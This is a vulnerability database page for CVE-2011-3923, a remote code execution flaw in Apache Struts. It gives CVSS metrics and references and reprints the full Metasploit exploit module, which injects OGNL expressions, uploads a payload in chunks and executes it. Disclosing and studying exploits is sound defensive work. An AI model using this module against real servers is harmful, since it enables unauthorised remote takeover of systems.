CVE-2011-3923 : Detail

CVE-2011-3923

9.8
/
Critical
90.83%V4
Network
2019-11-01
12h57 +00:00
2019-11-01
12h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Apache Struts before 2.3.1.2 allows remote attackers to bypass security protections in the ParameterInterceptor class and execute arbitrary commands.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-732 Incorrect Permission Assignment for Critical Resource
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 24874

Publication date : 2013-03-21 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution', 'Description' => %q{ This module exploits a remote command execution vulnerability in Apache Struts versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows for the use of parentheses which in turn allows it to interpret parameter values as OGNL expressions during certain exception handling for mismatched data types of properties which allows remote attackers to execute arbitrary Java code via a crafted parameter. }, 'Author' => [ 'Meder Kydyraliev', # Vulnerability Discovery and PoC 'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module 'mihi' #ARCH_JAVA support ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2011-3923'], [ 'OSVDB', '78501'], [ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'], [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009'] ], 'Platform' => [ 'win', 'linux', 'java'], 'Privileged' => true, 'Targets' => [ ['Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'windows' } ], ['Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ] ], 'DisclosureDate' => 'Oct 01 2011', 'DefaultTarget' => 2)) register_options( [ Opt::RPORT(8080), OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]), OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]), OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]) ], self.class) end def execute_command(cmd, opts = {}) inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]" inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true" inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER'])) inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd)) uri = String.new(datastore['TARGETURI']) uri = normalize_uri(uri) uri.gsub!(/INJECT/,inject) # append the injection string resp = send_request_cgi({ 'uri' => uri, 'version' => '1.1', 'method' => 'GET', }) return resp #Used for check function. end def exploit #Set up generic values. @payload_exe = rand_text_alphanumeric(4+rand(4)) pl_exe = generate_payload_exe append = 'false' #Now arch specific... case target['Platform'] when 'linux' @payload_exe = "/tmp/#{@payload_exe}" chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))" exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))" when 'java' @payload_exe << ".jar" pl_exe = payload.encoded_jar.pack exec_cmd = "" exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," exec_cmd << "#q.setAccessible(true),#q.set(null,true)," exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," exec_cmd << "#q.setAccessible(true),#q.set(null,false)," exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()})," exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" when 'windows' @payload_exe = "./#{@payload_exe}.exe" exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')" else fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!') end #Now with all the arch specific stuff set, perform the upload. #109 = length of command string plus the max length of append. sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length chunk_length = 2048 - sub_from_chunk chunk_length = ((chunk_length/4).floor)*3 while pl_exe.length > chunk_length java_upload_part(pl_exe[0,chunk_length],@payload_exe,append) pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length] append = true end java_upload_part(pl_exe,@payload_exe,append) execute_command(chmod_cmd) if target['Platform'] == 'linux' execute_command(exec_cmd) register_files_for_cleanup(@payload_exe) end def java_upload_part(part, filename, append = 'false') cmd = "" cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append})," cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}'))," cmd << "#f.close()" execute_command(cmd) end def check sleep_time = datastore['CHECK_SLEEPTIME'] check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})" t1 = Time.now print_status("Asking remote server to sleep for #{sleep_time} seconds") response = execute_command(check_cmd) t2 = Time.now delta = t2 - t1 if response.nil? return Exploit::CheckCode::Safe elsif delta < sleep_time return Exploit::CheckCode::Safe else return Exploit::CheckCode::Appears end end end

Products Mentioned

Configuraton 0

Apache>>Struts >> Version From (including) 2.0.0 To (excluding) 2.3.1.2

Configuraton 0

Redhat>>Jboss_enterprise_web_server >> Version 1.0.0

References

http://www.exploit-db.com/exploits/24874
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/51628
Tags : vdb-entry, x_refsource_BID
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.